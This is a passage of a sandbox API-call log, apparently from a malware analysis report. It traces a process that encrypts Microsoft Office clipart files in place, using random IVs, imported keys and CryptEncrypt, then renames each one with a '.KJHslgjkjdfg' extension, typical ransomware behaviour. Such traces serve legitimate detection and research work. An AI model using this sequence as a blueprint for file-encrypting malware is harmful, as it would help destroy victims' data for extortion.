CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.364] GetProcessHeap () returned 0x2a0000 [0172.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.365] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.365] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.365] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.365] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.365] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43b4, lpOverlapped=0x0) returned 1 [0172.366] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43c0) returned 1 [0172.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.367] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x43c0, lpOverlapped=0x0) returned 1 [0172.367] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.367] SetEndOfFile (hFile=0x114) returned 1 [0172.369] GetProcessHeap () returned 0x2a0000 [0172.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.369] GetProcessHeap () returned 0x2a0000 [0172.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.kjhslgjkjdfg")) returned 1 [0172.381] CloseHandle (hObject=0x114) returned 1 [0172.381] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0172.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.382] GetProcessHeap () returned 0x2a0000 [0172.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.382] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.382] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.384] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.384] GetProcessHeap () returned 0x2a0000 [0172.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.384] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.384] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.384] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.385] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.385] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.385] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.385] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.385] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.385] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0172.386] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce0) returned 1 [0172.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.386] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ce0, lpOverlapped=0x0) returned 1 [0172.386] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.386] SetEndOfFile (hFile=0x114) returned 1 [0172.388] GetProcessHeap () returned 0x2a0000 [0172.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.388] GetProcessHeap () returned 0x2a0000 [0172.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.kjhslgjkjdfg")) returned 1 [0172.389] CloseHandle (hObject=0x114) returned 1 [0172.389] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0172.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.390] GetProcessHeap () returned 0x2a0000 [0172.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.390] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.390] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.392] GetProcessHeap () returned 0x2a0000 [0172.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.393] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.393] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.393] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.393] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.393] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.393] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x542c, lpOverlapped=0x0) returned 1 [0172.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5430, dwBufLen=0x5430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5430) returned 1 [0172.394] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.394] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5430, lpOverlapped=0x0) returned 1 [0172.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.395] SetEndOfFile (hFile=0x114) returned 1 [0172.397] GetProcessHeap () returned 0x2a0000 [0172.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.397] GetProcessHeap () returned 0x2a0000 [0172.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.kjhslgjkjdfg")) returned 1 [0172.398] CloseHandle (hObject=0x114) returned 1 [0172.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0172.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.402] GetProcessHeap () returned 0x2a0000 [0172.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.403] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.405] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.405] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.405] GetProcessHeap () returned 0x2a0000 [0172.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.405] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.405] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.405] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.405] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.405] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.405] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.406] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21e8, lpOverlapped=0x0) returned 1 [0172.407] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21f0) returned 1 [0172.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.407] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21f0, lpOverlapped=0x0) returned 1 [0172.407] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.407] SetEndOfFile (hFile=0x114) returned 1 [0172.409] GetProcessHeap () returned 0x2a0000 [0172.409] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.409] GetProcessHeap () returned 0x2a0000 [0172.409] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.kjhslgjkjdfg")) returned 1 [0172.411] CloseHandle (hObject=0x114) returned 1 [0172.411] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0172.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.411] GetProcessHeap () returned 0x2a0000 [0172.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.411] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.412] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.414] GetProcessHeap () returned 0x2a0000 [0172.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.414] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, 